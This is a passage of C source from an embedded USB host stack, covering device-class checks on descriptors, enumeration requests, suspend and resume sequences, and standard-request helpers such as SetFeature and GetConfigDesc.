USB_HOST_COMPLIANCE_MODE */\n \n \n descriptor_table = (uint8_t*)usb_ghstd_DeviceDescriptor[ptr->ip];\n \n /* Device class check */\n tmp4 = descriptor_table[USB_DEV_B_DEVICE_CLASS];\n tmp5 = descriptor_table[USB_DEV_B_DEVICE_SUBCLASS];\n tmp6 = descriptor_table[USB_DEV_B_DEVICE_PROTOCOL];\n hub_device = USB_DONE;\n if( ((tmp4 == 0xFF) && (tmp5 == 0xFF)) && (tmp6 == 0xFF) )\n {\n USB_PRINTF0(\"*** Vendor specific device.\\n\\n\");\n }\n else if( ((tmp4 == USB_IFCLS_HUB) && (tmp5 == 0x00)) && (tmp6 == 0x00) )\n {\n USB_PRINTF0(\"*** Full-Speed HUB device.\\n\\n\");\n hub_device = USB_FSHUB;\n } \n else if( ((tmp4 == USB_IFCLS_HUB) && (tmp5 == 0x00)) && (tmp6 == 0x01) )\n {\n USB_PRINTF0(\"*** High-Speed single TT device.\\n\\n\");\n hub_device = USB_HSHUBS;\n }\n else if( ((tmp4 == USB_IFCLS_HUB) && (tmp5 == 0x00)) && (tmp6 == 0x02) )\n {\n USB_PRINTF0(\"*** High-Speed multiple TT device.\\n\\n\");\n hub_device = USB_HSHUBM;\n }\n else if( ((tmp4 != 0) || (tmp5 != 0)) || (tmp6 != 0) )\n {\n USB_PRINTF0(\"### Device class information error!\\n\\n\");\n }\n else\n {\n }\n \n \n#ifdef USB_HOST_COMPLIANCE_MODE\n id_check = USB_ERROR;\n for( i = 0; i < driver->tpl[0]; i++ )\n {\n vendor_id = (uint16_t)(descriptor_table[USB_DEV_ID_VENDOR_L]\n + ((uint16_t)descriptor_table[USB_DEV_ID_VENDOR_H] << 8));\n \n if( (driver->tpl[(i * 2) + 2] == USB_NOVENDOR) || (driver->tpl[(i * 2) + 2] == vendor_id) )\n {\n product_id = (uint16_t)(descriptor_table[USB_DEV_ID_PRODUCT_L]\n + ((uint16_t)descriptor_table[USB_DEV_ID_PRODUCT_H] << 8));\n \n if( (driver->tpl[(i * 2) + 3] == USB_NOPRODUCT) || (driver->tpl[(i * 2) + 3] == product_id) )\n {\n id_check = USB_DONE;\n USB_COMPLIANCE_DISP(ptr, USB_COMP_TPL, USB_NO_ARG);\n USB_COMPLIANCE_DISP(ptr, USB_COMP_VID, vendor_id);\n USB_COMPLIANCE_DISP(ptr, USB_COMP_PID, product_id);\n }\n }\n }\n \n if( id_check == USB_ERROR )\n {\n USB_PRINTF0(\"### Not support device\\n\");\n if( descriptor_table[4] == USB_IFCLS_HUB )\n {\n USB_COMPLIANCE_DISP(ptr, USB_COMP_HUB, vendor_id);\n }\n else\n {\n USB_COMPLIANCE_DISP(ptr, USB_COMP_NOTTPL, vendor_id);\n }\n \n return USB_ERROR;\n }\n#endif /* USB_HOST_COMPLIANCE_MODE */\n \n \n descriptor_table = (uint8_t*)usb_ghstd_ConfigurationDescriptor[ptr->ip];\n total_length1 = 0;\n total_length2 = (uint16_t)(descriptor_table[USB_DEV_W_TOTAL_LENGTH_L]\n + ((uint16_t)descriptor_table[USB_DEV_W_TOTAL_LENGTH_H] << 8));\n \n if( total_length2 > USB_CONFIGSIZE )\n {\n total_length2 = USB_CONFIGSIZE;\n }\n\n /* Search within configuration total-length */\n while( total_length1 < total_length2 )\n {\n switch( descriptor_table[total_length1 + 1] )\n {\n /* Configuration Descriptor ? */\n case USB_DT_CONFIGURATION:\n table[1] = (uint16_t*)&descriptor_table[total_length1];\n break;\n /* Interface Descriptor ? */\n case USB_DT_INTERFACE:\n if( driver->ifclass == (uint16_t)descriptor_table[total_length1 + 5] )\n {\n result = USB_ERROR;\n table[0] = (uint16_t*)&usb_ghstd_DeviceDescriptor[ptr->ip];\n table[2] = (uint16_t*)&descriptor_table[total_length1];\n table[3] = &result;\n table[4] = &hub_device;\n table[5] = &port;\n table[6] = &usb_ghstd_DeviceSpeed[ptr->ip];\n table[7] = &usb_ghstd_DeviceAddr[ptr->ip];\n table[8] = (uint16_t*)driver->pipetbl;\n (*driver->classcheck)(ptr, (uint16_t**)&table);\n /* Interface Class */\n usb_ghstd_DeviceInfo[ptr->ip][usb_ghstd_DeviceAddr[ptr->ip]][3]\n = descriptor_table[total_length1 + 5];\n return result;\n }\n/* USB_PRINTF2(\"*** Interface class is 0x%02x (not 0x%02x)\\n\", \n descriptor_table[total_length1 + 5], driver->ifclass);*/\n break;\n default:\n break;\n }\n total_length1 += descriptor_table[total_length1];\n if( descriptor_table[total_length1] == 0 )\n {\n break;\n }\n }\n return USB_ERROR;\n}\n/******************************************************************************\nEnd of function usb_hstd_ChkDeviceClass\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_NotifAtorDetach\nDescription : Notify MGR (manager) task that attach or detach occurred.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t result : Result.\n : uint16_t port : Port no.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_NotifAtorDetach(USB_UTR_t *ptr, uint16_t result, uint16_t port)\n{\n usb_hstd_MgrSndMbx(ptr, (uint16_t)USB_MSG_MGR_AORDETACH, port, result);\n}\n/******************************************************************************\nEnd of function usb_hstd_NotifAtorDetach\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_OvcrNotifiation\nDescription : Notify MGR (manager) task that overcurrent was generated\nArgument : uint16_t port : Port no.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_OvcrNotifiation(USB_UTR_t *ptr, uint16_t port)\n{\n usb_hstd_MgrSndMbx(ptr, (uint16_t)USB_MSG_MGR_OVERCURRENT, port, (uint16_t)0u);\n}\n/******************************************************************************\nEnd of function usb_hstd_OvcrNotifiation\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_StatusResult\nDescription : This is a callback as a result of calling \n : R_usb_hstd_ChangeDeviceState. This notifies the MGR (manager) \n : task that the change of USB Device status completed.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : Port no.\n : uint16_t result : Result.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_StatusResult(USB_UTR_t *ptr, uint16_t port, uint16_t result)\n{\n usb_hstd_MgrSndMbx(ptr, (uint16_t)USB_MSG_MGR_STATUSRESULT, port, result);\n}\n/******************************************************************************\nEnd of function usb_hstd_StatusResult\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_SubmitResult\nDescription : Callback after completion of a standard request.\nArgument : uint16_t *utr_table : Message.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_SubmitResult(USB_UTR_t *ptr, uint16_t data1, uint16_t data2)\n{\n usb_hstd_MgrSndMbx(ptr, (uint16_t)USB_MSG_MGR_SUBMITRESULT, ptr->keyword, ptr->status);\n}\n/******************************************************************************\nEnd of function usb_hstd_SubmitResult\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_TransferEndResult\nDescription : Notify the MGR (manager) task that force-termination of data \n : transfer completed.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t Result : Transfer result\n : uint16_t Pipe : Pipe No\nReturn : none\n******************************************************************************/\nvoid usb_hstd_TransferEndResult(USB_UTR_t *ptr, uint16_t result, uint16_t pipe)\n{\n usb_hstd_MgrSndMbx(ptr, (uint16_t)USB_MSG_MGR_TRANSENDRESULT, pipe, result);\n}\n/******************************************************************************\nEnd of function usb_hstd_TransferEndResult\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumGetDescriptor\nDescription : Send GetDescriptor to the connected USB device.\nArgument : uint16_t addr : Device Address\n : uint16_t cnt_value : Enumeration sequence\nReturn : none\n******************************************************************************/\nvoid usb_hstd_EnumGetDescriptor(USB_UTR_t *ptr, uint16_t addr, uint16_t cnt_value)\n{\n uint8_t *data_table;\n\n switch( cnt_value )\n {\n case 0:\n /* continue */\n case 1:\n /* continue */\n case 5:\n usb_shstd_StdRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE;\n usb_shstd_StdRequest[ptr->ip][1] = (uint16_t)USB_DEV_DESCRIPTOR;\n usb_shstd_StdRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][3] = (uint16_t)0x0040;\n if( usb_shstd_StdRequest[ptr->ip][3] > USB_DEVICESIZE )\n {\n usb_shstd_StdRequest[ptr->ip][3] = USB_DEVICESIZE;\n }\n usb_shstd_StdReqMsg[ptr->ip].tranadr = usb_ghstd_DeviceDescriptor[ptr->ip];\n break;\n case 2:\n usb_shstd_StdRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE;\n usb_shstd_StdRequest[ptr->ip][1] = (uint16_t)USB_DEV_DESCRIPTOR;\n usb_shstd_StdRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][3] = (uint16_t)0x0012;\n if( usb_shstd_StdRequest[ptr->ip][3] > USB_DEVICESIZE )\n {\n usb_shstd_StdRequest[ptr->ip][3] = USB_DEVICESIZE;\n }\n usb_shstd_StdReqMsg[ptr->ip].tranadr = usb_ghstd_DeviceDescriptor[ptr->ip];\n break;\n case 3:\n usb_shstd_StdRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE;\n usb_shstd_StdRequest[ptr->ip][1] = (uint16_t)USB_CONF_DESCRIPTOR;\n usb_shstd_StdRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][3] = (uint16_t)0x0009;\n usb_shstd_StdReqMsg[ptr->ip].tranadr = usb_ghstd_ConfigurationDescriptor[ptr->ip];\n break;\n case 4:\n data_table = (uint8_t*)usb_ghstd_ConfigurationDescriptor[ptr->ip];\n usb_shstd_StdRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE;\n usb_shstd_StdRequest[ptr->ip][1] = (uint16_t)USB_CONF_DESCRIPTOR;\n usb_shstd_StdRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][3] = (uint16_t)(((uint16_t)data_table[3] << 8) + (uint16_t)data_table[2]);\n if( usb_shstd_StdRequest[ptr->ip][3] > USB_CONFIGSIZE )\n {\n usb_shstd_StdRequest[ptr->ip][3] = USB_CONFIGSIZE;\n USB_PRINTF0(\"***WARNING Descriptor size over !\\n\");\n }\n usb_shstd_StdReqMsg[ptr->ip].tranadr = usb_ghstd_ConfigurationDescriptor[ptr->ip];\n break;\n default:\n return;\n break;\n }\n usb_shstd_StdRequest[ptr->ip][4] = addr;\n usb_shstd_StdReqMsg[ptr->ip].keyword = (uint16_t)USB_PIPE0;\n usb_shstd_StdReqMsg[ptr->ip].tranlen = (uint32_t)usb_shstd_StdRequest[ptr->ip][3];\n usb_shstd_StdReqMsg[ptr->ip].setup = usb_shstd_StdRequest[ptr->ip];\n usb_shstd_StdReqMsg[ptr->ip].status = USB_DATA_NONE;\n usb_shstd_StdReqMsg[ptr->ip].complete = (USB_CB_t)&usb_hstd_SubmitResult;\n usb_shstd_StdReqMsg[ptr->ip].segment = USB_TRAN_END;\n\n usb_shstd_StdReqMsg[ptr->ip].ipp = ptr->ipp;\n usb_shstd_StdReqMsg[ptr->ip].ip = ptr->ip;\n\n usb_hstd_TransferStart(&usb_shstd_StdReqMsg[ptr->ip]);\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumGetDescriptor\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumSetAddress\nDescription : Send SetAddress to the connected USB device.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t addr : Device Address.\n : uint16_t setaddr : New address.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_EnumSetAddress(USB_UTR_t *ptr, uint16_t addr, uint16_t setaddr)\n{\n usb_shstd_StdRequest[ptr->ip][0] = USB_SET_ADDRESS | USB_HOST_TO_DEV | USB_STANDARD | USB_DEVICE;\n usb_shstd_StdRequest[ptr->ip][1] = setaddr;\n usb_shstd_StdRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][3] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][4] = addr;\n usb_shstd_StdReqMsg[ptr->ip].keyword = (uint16_t)USB_PIPE0;\n usb_shstd_StdReqMsg[ptr->ip].tranadr = (void *)&usb_shstd_DummyData;\n usb_shstd_StdReqMsg[ptr->ip].tranlen = (uint32_t)usb_shstd_StdRequest[ptr->ip][3];\n usb_shstd_StdReqMsg[ptr->ip].setup = usb_shstd_StdRequest[ptr->ip];\n usb_shstd_StdReqMsg[ptr->ip].status = USB_DATA_NONE;\n usb_shstd_StdReqMsg[ptr->ip].complete = (USB_CB_t)&usb_hstd_SubmitResult;\n usb_shstd_StdReqMsg[ptr->ip].segment = USB_TRAN_END;\n\n usb_shstd_StdReqMsg[ptr->ip].ipp = ptr->ipp;\n usb_shstd_StdReqMsg[ptr->ip].ip = ptr->ip;\n\n usb_hstd_TransferStart(&usb_shstd_StdReqMsg[ptr->ip]);\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumSetAddress\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumSetConfiguration\nDescription : Send SetConfiguration to the connected USB device.\nArgument : uint16_t addr : Device Address.\n : uint16_t confnum : Configuration number.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_EnumSetConfiguration(USB_UTR_t *ptr, uint16_t addr, uint16_t confnum)\n{\n usb_shstd_StdRequest[ptr->ip][0] = USB_SET_CONFIGURATION | USB_HOST_TO_DEV | USB_STANDARD | USB_DEVICE;\n usb_shstd_StdRequest[ptr->ip][1] = confnum;\n usb_shstd_StdRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][3] = (uint16_t)0x0000;\n usb_shstd_StdRequest[ptr->ip][4] = addr;\n usb_shstd_StdReqMsg[ptr->ip].keyword = (uint16_t)USB_PIPE0;\n usb_shstd_StdReqMsg[ptr->ip].tranadr = (void *)&usb_shstd_DummyData;\n usb_shstd_StdReqMsg[ptr->ip].tranlen = (uint32_t)usb_shstd_StdRequest[ptr->ip][3];\n usb_shstd_StdReqMsg[ptr->ip].setup = usb_shstd_StdRequest[ptr->ip];\n usb_shstd_StdReqMsg[ptr->ip].status = USB_DATA_NONE;\n usb_shstd_StdReqMsg[ptr->ip].complete = (USB_CB_t)&usb_hstd_SubmitResult;\n usb_shstd_StdReqMsg[ptr->ip].segment = USB_TRAN_END;\n\n usb_shstd_StdReqMsg[ptr->ip].ipp = ptr->ipp;\n usb_shstd_StdReqMsg[ptr->ip].ip = ptr->ip;\n\n usb_hstd_TransferStart(&usb_shstd_StdReqMsg[ptr->ip]);\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumSetConfiguration\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumDummyRequest\nDescription : Dummy function.\nArgument : uint16_t addr : Device Address\n : uint16_t cnt_value : Enumeration Sequence\nReturn : none\n******************************************************************************/\nvoid usb_hstd_EnumDummyRequest(USB_UTR_t *ptr, uint16_t addr, uint16_t cnt_value)\n{\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumDummyRequest\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_MgrSuspend\nDescription : Suspend request\nArgument : uint16_t info : Info for release of memory block.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_MgrSuspend(USB_UTR_t *ptr, uint16_t info)\n{\n uint16_t rootport, devaddr, devsel;\n uint16_t j;\n\n devaddr = usb_shstd_MgrMsg[ptr->ip]->keyword;\n devsel = (uint16_t)(devaddr << USB_DEVADDRBIT);\n /* Get root port number from device addr */\n rootport = usb_hstd_GetRootport(ptr, devsel);\n\n if( usb_hstd_ChkDevAddr(ptr, devsel, rootport) != USB_NOCONNECT )\n {\n /* PIPE suspend */\n for( j = USB_MIN_PIPE_NO; j <= USB_MAX_PIPE_NO; j++ )\n {\n /* Agreement device address */\n if( usb_cstd_GetDevsel(ptr, j) == devsel )\n {\n /* PID=BUF ? */\n if( usb_cstd_GetPid(ptr, j) == USB_PID_BUF )\n {\n usb_cstd_SetNak(ptr, j);\n usb_ghstd_SuspendPipe[ptr->ip][j] = USB_SUSPENDED;\n }\n }\n }\n usb_shstd_SuspendSeq[ptr->ip]=0;\n usb_hstd_SuspCont(ptr, (uint16_t)devaddr, (uint16_t)rootport);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_SUSPENDED_PROCESS;\n }\n usb_hstd_MgrRelMpl(ptr,info);\n}\n/******************************************************************************\nEnd of function usb_hstd_MgrSuspend\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_DeviceStateControl\nDescription : Setup a call to the function usb_hstd_ChangeDeviceState to re-\n : quest the connected USB Device to change status.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t devaddr : Device address.\n : uint16_t msginfo : Request type.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_DeviceStateControl(USB_UTR_t *ptr, uint16_t devaddr, uint16_t msginfo)\n{\n switch( devaddr )\n {\n case 0:\n USB_PRINTF0(\"### usbd_message device address error\\n\");\n break;\n case USB_DEVICEADDR:\n usb_hstd_ChangeDeviceState(ptr, &usb_hstd_StatusResult, msginfo, (uint16_t)USB_PORT0);\n break;\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n case (USB_DEVICEADDR + 1u):\n usb_hstd_ChangeDeviceState(ptr, &usb_hstd_StatusResult, msginfo, (uint16_t)USB_PORT1);\n break;\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n default:\n if( USB_HUBDPADDR <= devaddr )\n {\n }\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_DeviceStateControl\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_DeviceStateControl2\nDescription : Setup a call to the function usb_hstd_ChangeDeviceState to re-\n : quest the connected USB Device to change status.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : USB_CB_t complete : Callback function Pointer\n : uint16_t devaddr : Device address\n : uint16_t msginfo : Request type for HCD\n : uint16_t mgr_msginfo : Request type for MGR\nReturn : none\n******************************************************************************/\nvoid usb_hstd_DeviceStateControl2( USB_UTR_t *ptr, USB_CB_t complete, \n uint16_t devaddr, uint16_t msginfo,\n uint16_t mgr_msginfo)\n{\n usb_shstd_mgr_callback[ptr->ip] = complete;\n usb_shstd_mgr_msginfo[ptr->ip] = mgr_msginfo;\n usb_hstd_DeviceStateControl(ptr, devaddr, msginfo);\n}\n/******************************************************************************\nEnd of function usb_hstd_DeviceStateControl2\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_MgrReset\nDescription : Request HCD (Host Control Driver) to do a USB bus reset.\nArgument : uint16_t devaddr : Device address.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_MgrReset(USB_UTR_t *ptr, uint16_t addr)\n{\n usb_hstd_DeviceStateControl(ptr, addr, (uint16_t)USB_MSG_HCD_USBRESET);\n if( addr == USB_DEVICEADDR )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT0] = USB_DEFAULT;\n }\n/* Condition compilation by the difference of the devices */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n else if( addr == (USB_DEVICEADDR + 1u) )\n {\n usb_ghstd_MgrMode[ptr->ip][USB_PORT1] = USB_DEFAULT;\n }\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n else\n {\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_MgrReset\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_MgrResume\nDescription : Request HCD (Host Control Device) to send RESUME signal.\nArgument : uint16_t info : Information.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_MgrResume(USB_UTR_t *ptr, uint16_t info)\n{\n uint16_t rootport, devaddr, devsel;\n\n devaddr = usb_shstd_MgrMsg[ptr->ip]->keyword;\n devsel = (uint16_t)(devaddr << USB_DEVADDRBIT);\n /* Get root port number from device addr */\n rootport = usb_hstd_GetRootport(ptr, devsel);\n if( usb_hstd_ChkDevAddr(ptr, devsel, rootport) != USB_NOCONNECT )\n {\n /* Device resume */\n usb_hstd_DeviceStateControl(ptr, devaddr, usb_shstd_MgrMsg[ptr->ip]->msginfo);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_RESUME_PROCESS;\n usb_shstd_ResumeSeq[ptr->ip] = 0;\n }\n usb_hstd_MgrRelMpl(ptr,info);\n}\n/******************************************************************************\nEnd of function usb_hstd_MgrResume\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_SuspCont\nDescription : Suspend the connected USB Device (Function for nonOS)\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t devaddr : Device Address\n : uint16_t rootport : Port no.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_SuspCont(USB_UTR_t *ptr, uint16_t devaddr, uint16_t rootport)\n{\n uint16_t checkerr;\n \n checkerr = usb_shstd_MgrMsg[ptr->ip]->result;\n\n switch(usb_shstd_SuspendSeq[ptr->ip])\n {\n case 0:\n usb_hstd_GetConfigDesc(ptr, devaddr, (uint16_t)0x09, (USB_CB_t)&usb_hstd_SubmitResult);\n usb_shstd_SuspendSeq[ptr->ip]++;\n break;\n case 1:\n if (usb_hstd_StdReqCheck(checkerr) == USB_DONE)\n {\n if( usb_hstd_ChkRemote(ptr) == USB_YES )\n {\n usb_hstd_SetFeature(ptr, devaddr, (uint16_t)0xFF, (USB_CB_t)&usb_hstd_SubmitResult);\n usb_shstd_SuspendSeq[ptr->ip]++;\n }\n else\n {\n USB_PRINTF0(\"### Remote wakeup disable\\n\");\n usb_hstd_DeviceStateControl(ptr, devaddr, (uint16_t)USB_MSG_HCD_REMOTE);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_SUSPENDED;\n }\n }\n break;\n case 2:\n if(usb_hstd_StdReqCheck(checkerr) == USB_DONE)\n {\n usb_hstd_DeviceStateControl(ptr, devaddr, (uint16_t)USB_MSG_HCD_REMOTE);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_SUSPENDED;\n }\n break;\n default:\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_SuspCont\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_ResuCont\nDescription : Resume the connected USB Device (Function for nonOS)\nArgument : uint16_t devaddr : Device Address\n : uint16_t rootport : Port no.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_ResuCont(USB_UTR_t *ptr, uint16_t devaddr, uint16_t rootport)\n{\n uint16_t devsel;\n uint16_t j,md;\n USB_HCDREG_t *driver;\n uint16_t checkerr;\n\n devsel = (uint16_t)(devaddr << USB_DEVADDRBIT);\n checkerr = usb_shstd_MgrMsg[ptr->ip]->result;\n \n switch(usb_shstd_ResumeSeq[ptr->ip])\n {\n case 0:\n usb_hstd_GetConfigDesc(ptr, devaddr, (uint16_t)0x09, (USB_CB_t)&usb_hstd_SubmitResult);\n usb_shstd_ResumeSeq[ptr->ip]++;\n break;\n case 1:\n if(usb_hstd_StdReqCheck(checkerr) == USB_DONE)\n {\n if( usb_hstd_ChkRemote(ptr) == USB_YES )\n {\n usb_hstd_ClearFeature(ptr, devaddr, (uint16_t)0xFF, (USB_CB_t)&usb_hstd_SubmitResult);\n usb_shstd_ResumeSeq[ptr->ip]++;\n }\n else\n {\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_CONFIGURED;\n }\n }\n break;\n case 2:\n if(usb_hstd_StdReqCheck(checkerr) == USB_DONE)\n {\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_CONFIGURED;\n }\n break;\n default:\n break;\n }\n \n if( usb_ghstd_MgrMode[ptr->ip][rootport] == USB_CONFIGURED )\n {\n /* PIPE resume */\n for( j = USB_MIN_PIPE_NO; j <= USB_MAX_PIPE_NO; j++ )\n {\n /* Agreement device address */\n if(usb_cstd_GetDeviceAddress(ptr, j) == devsel)\n {\n if(usb_ghstd_SuspendPipe[ptr->ip][j] == USB_SUSPENDED)\n {\n usb_cstd_SetBuf(ptr, j);\n usb_ghstd_SuspendPipe[ptr->ip][j] = USB_DONE;\n }\n }\n }\n\n for(md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++)\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if(driver->devaddr == (rootport+USB_DEVICEADDR))\n {\n (*driver->devresume)(ptr, driver->devaddr, (uint16_t)USB_NO_ARG);\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][1] = USB_CONFIGURED;\n\n if( usb_shstd_mgr_msginfo[ptr->ip] == USB_DO_GLOBAL_RESUME )\n {\n usb_hstd_mgr_chgdevst_cb(ptr, rootport);\n }\n\n /* Device state */\n driver->devstate = USB_CONFIGURED;\n }\n }\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_ResuCont\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_ChkRemote\nDescription : check remote\nArguments : none\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_ChkRemote(USB_UTR_t *ptr)\n{\n if( (usb_ghstd_ClassData[ptr->ip][7] & USB_CF_RWUPON) != (uint8_t)0 )\n {\n return USB_YES;\n }\n return USB_NO;\n}\n/******************************************************************************\nEnd of function usb_hstd_ChkRemote\n******************************************************************************/\n\n\n/* Condition compilation by the difference of IP */\n/******************************************************************************\nFunction Name : usb_hstd_CmdSubmit\nDescription : command submit\nArguments : USB_CB_t complete : callback info\nReturn value : uint16_t : USB_DONE\n******************************************************************************/\nuint16_t usb_hstd_CmdSubmit(USB_UTR_t *ptr, USB_CB_t complete)\n{\n usb_ghstd_ClassControl[ptr->ip].tranadr = (void*)usb_ghstd_ClassData[ptr->ip];\n usb_ghstd_ClassControl[ptr->ip].complete = complete;\n usb_ghstd_ClassControl[ptr->ip].tranlen = (uint32_t)usb_ghstd_ClassRequest[ptr->ip][3];\n usb_ghstd_ClassControl[ptr->ip].keyword = USB_PIPE0;\n usb_ghstd_ClassControl[ptr->ip].setup = usb_ghstd_ClassRequest[ptr->ip];\n usb_ghstd_ClassControl[ptr->ip].segment = USB_TRAN_END;\n\n usb_ghstd_ClassControl[ptr->ip].ip = ptr->ip;\n usb_ghstd_ClassControl[ptr->ip].ipp = ptr->ipp;\n\n usb_hstd_TransferStart(&usb_ghstd_ClassControl[ptr->ip]);\n \n return USB_DONE;\n}\n/******************************************************************************\nEnd of function usb_hstd_CmdSubmit\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_SetFeature\nDescription : Set SetFeature\nArguments : uint16_t addr : device address\n : uint16_t epnum : endpoint number\n : USB_CB_t complete : callback function\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_SetFeature(USB_UTR_t *ptr, uint16_t addr, uint16_t epnum, USB_CB_t complete)\n{\n if( epnum == 0xFF )\n {\n /* SetFeature(Device) */\n usb_ghstd_ClassRequest[ptr->ip][0] = USB_SET_FEATURE | USB_HOST_TO_DEV | USB_STANDARD | USB_DEVICE;\n usb_ghstd_ClassRequest[ptr->ip][1] = USB_DEV_REMOTE_WAKEUP;\n usb_ghstd_ClassRequest[ptr->ip][2] = (uint16_t)0x0000;\n }\n else\n {\n /* SetFeature(endpoint) */\n usb_ghstd_ClassRequest[ptr->ip][0] = USB_SET_FEATURE | USB_HOST_TO_DEV | USB_STANDARD | USB_ENDPOINT;\n usb_ghstd_ClassRequest[ptr->ip][1] = USB_ENDPOINT_HALT;\n usb_ghstd_ClassRequest[ptr->ip][2] = epnum;\n }\n usb_ghstd_ClassRequest[ptr->ip][3] = (uint16_t)0x0000;\n usb_ghstd_ClassRequest[ptr->ip][4] = addr;\n\n return usb_hstd_CmdSubmit(ptr, complete);\n}\n/******************************************************************************\nEnd of function usb_hstd_SetFeature\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_GetConfigDesc\nDescription : Set GetConfigurationDescriptor\nArguments : uint16_t addr : device address\n : uint16_t length : descriptor length\n : USB_CB_t complete : callback function\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_GetConfigDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t length, USB_CB_t complete)\n{\n uint16_t i;\n\n /* Get Configuration Descriptor */\n usb_ghstd_ClassRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE;\n usb_ghstd_ClassRequest[ptr->ip][1] = USB_CONF_DESCRIPTOR;\n usb_ghstd_ClassRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_ghstd_ClassRequest[ptr->ip][3] = length;\n if( usb_ghstd_ClassRequest[ptr->ip][3] > CLSDATASIZE )\n {\n usb_ghstd_ClassRequest[ptr->ip][3] = (uint16_t)CLSDATASIZE;\n USB_PRINTF0(\"***WARNING Descriptor size over !\\n\");\n }\n usb_ghstd_ClassRequest[ptr->ip][4] = addr;\n\n for( i = 0; i < usb_ghstd_ClassRequest[ptr->ip][3]; i++ )\n {\n usb_ghstd_ClassData[ptr->ip][i] = (uint8_t)0xFF;\n }\n\n return usb_hstd_CmdSubmit(ptr, complete);\n}\n/******************************************************************************\nEnd of function usb_hstd_GetConfigDesc\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_StdReqCheck\nDescription : Sample Standard Request Check\nArguments : uint16_t errcheck : error\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_StdReqCheck(uint16_t 